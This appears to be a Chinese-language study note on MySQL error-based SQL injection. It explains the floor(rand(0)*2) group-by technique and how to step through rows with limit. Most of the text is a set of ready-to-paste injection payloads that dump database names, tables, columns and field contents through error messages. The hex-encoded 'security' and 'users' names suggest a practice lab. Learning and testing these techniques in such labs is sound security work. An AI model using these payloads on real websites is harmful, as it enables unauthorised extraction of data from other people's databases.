以前覺得報錯注入有那么一長串,還有各種concat(),rand()之類的函數,不方便記憶和使用,一直沒怎么仔細的學習過。這次專門學習了一下,看了一些大牛的總結,得到一些經驗,特此記錄下來,以備后續鞏固復習。
總體來說,報錯注入其實是一種公式化的注入方法,主要用於在頁面中沒有顯示位,但是用echo mysql_error();輸出了錯誤信息時使用。
公式具體如下
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
我們在這個語句中其實已經可以看到了普通注入的影子,第五個select子句的version()處顯示了數據庫使用的版本,后面的information_schema.tables顯示的就是我們在mysql中對應的系統表信息,第三個子句的limit用於控制遍歷數據庫的每一條記錄。
注意的是,我們一般手工注入使用limit時,都是使用limit 0,1;limit,1,2;limit 2,3……這種模式去依次遍歷數據庫的每個項目。
但是要注意這里的遍歷方式需要調整:變成了limit 0,1;limit1,1;limit 2,1……這種形式
搞清楚了語句的公式,剩下的注入過程就跟我們普通的注入很像了,只需要調整語句對應的結構即可:
匯總如下:
1、暴數據庫:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2、暴數據表:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=庫名的十六進制 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
3、暴列名:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
4、暴字段:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 庫名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
總結起來,就是一套已經成型的公式,然后用普通注入的方法進行注入就好了
參考文章:
http://www.jianshu.com/p/8c2343705100
https://www.waitalone.cn/mysql-error-based-injection.html